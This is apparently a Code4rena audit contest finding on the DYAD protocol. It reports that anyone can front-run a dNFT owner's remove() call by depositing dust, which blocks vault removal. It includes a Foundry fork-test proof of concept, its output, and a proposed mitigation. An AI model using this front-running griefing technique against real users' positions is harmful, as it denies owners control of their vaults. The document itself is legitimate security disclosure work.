c4-bot-5 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L94-L104 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L106-L116

Vulnerability details

Attacker can frontrun to prevent vaults from being removed from the dNFT owner's position

When removing a vault from a dNFT position, the vault must have no assets for that dNFT.

  function remove(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
    ...
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L94-L104

  function removeKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (Vault(vault).id2asset(id) > 0)     revert VaultHasAssets();
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L106-L116

However, since anyone can deposit into a dNFT, anyone can prevent a vault from being removed from a dNFT position by observing the call to remove() in the mempool, and frontrunning the transaction by depositing dust amounts to the dNFT.

Impact

Anyone can stop a vault from being removed from a dNFT position, at almost no cost.

If the victim has reached the max vault limit, they must remove a vault before adding a new one to their dNFT position. Therefore this vulnerability may force them to mint a new dNFT to use new vaults.

Proof of Concept

Add this file to test/fork/: https://gist.github.com/TheSavageTeddy/8dd94d8bb6a50459c5900e3b346afca5

Run the test with forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/<YOUR_KEY> --match-test "testDosRemoveVault" --fork-block-number 19693723 -vvv

The PoC demonstrates alice attempting to remove a vault from her dNFT position. She can do so as there are no assets in her position, but bob stops her by frontrunning her call to remove(), depositing 1 wei of ether into her dNFT.

A snippet of the PoC is shown below:

  function testDosRemoveVault() public {
    // create DNFT for alice
    DNft dNft = DNft(MAINNET_DNFT);
    vm.deal(alice, 10 ether);
    vm.startPrank(alice);
    uint id = dNft.mintNft{value: 1 ether}(alice);
    // alice adds wstETH vault to her dNFT position
    contracts.vaultManager.add(id, address(contracts.wstEth));
    vm.stopPrank();

    vm.prank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(contracts.wstEth));

    // faucet some WSTETH
    uint AMOUNT = 10000e18;
    vm.prank(address(0x0B925eD163218f6662a35e0f0371Ac234f9E9371));
    IERC20Minimal(MAINNET_WSTETH).transfer(address(this), AMOUNT); 
    // give bob some wsteth
    IERC20Minimal(MAINNET_WSTETH).transfer(bob, 1e18);

    // alice has no assets in her position, so she can remove her dNFT
    console.log("alice dNFT position wstETH assets:", contracts.wstEth.id2asset(id));
    // alice wants to remove the wstETH vault from her dNFT position
    // however, bob wants to stop her from doing so.
    // so he frontruns her call to `remove()` by depositing 1 asset into her dNFT
    vm.startPrank(bob);
    IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(id, address(contracts.wstEth), 1);
    vm.stopPrank();

    // now alice's transaction to `remove()` will revert due to having assets
    vm.prank(alice);
    vm.expectRevert(VaultHasAssets.selector);
    contracts.vaultManager.remove(id, address(contracts.wstEth));

    console.log("alice dNFT position wstETH assets:", contracts.wstEth.id2asset(id));
  }

Output:

Logs:
  alice dNFT position wstETH assets: 0
  alice dNFT position wstETH assets: 1

Tools Used

Manual analysis

Recommended Mitigation Steps

Allow dNFT owners to remove vaults from their dNFT positions even if it has assets, but have a clear warning that doing so may reduce their collateral and cause liquidation.

Assessed type

Other

c4-pre-sort commented 5 months ago

JustDravee marked the issue as duplicate of #489

c4-pre-sort commented 5 months ago

JustDravee marked the issue as sufficient quality report